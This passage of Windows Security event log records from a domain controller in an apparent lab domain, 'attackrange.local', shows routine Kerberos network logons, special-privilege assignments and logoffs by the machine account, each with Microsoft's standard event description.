ATTACKRANGE - Logon ID: 0xBC5C8 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248598 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xBC5C8 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 63970 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248597 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBC5C8 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248620 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBDC1B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248619 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xBDC1B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 63977 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248618 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBDC1B - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248617 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBDBAA - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248616 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xBDBAA - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 63976 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248615 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBDBAA - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248614 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBDB34 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248613 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xBDB34 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 63975 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248612 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBDB34 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248611 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBDAAF - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248610 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xBDAAF - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 63974 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248609 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBDAAF - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248632 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBDDE1 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248631 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xBDDE1 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 63981 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248630 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBDDE1 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248629 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBDD80 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248628 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xBDD80 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 63980 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248627 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBDD80 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248626 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBDD1A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248625 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xBDD1A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 63979 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248624 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBDD1A - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248623 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBDCB9 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248622 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xBDCB9 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 63978 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248621 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBDCB9 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248644 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBDF96 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248643 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xBDF96 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 63985 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this 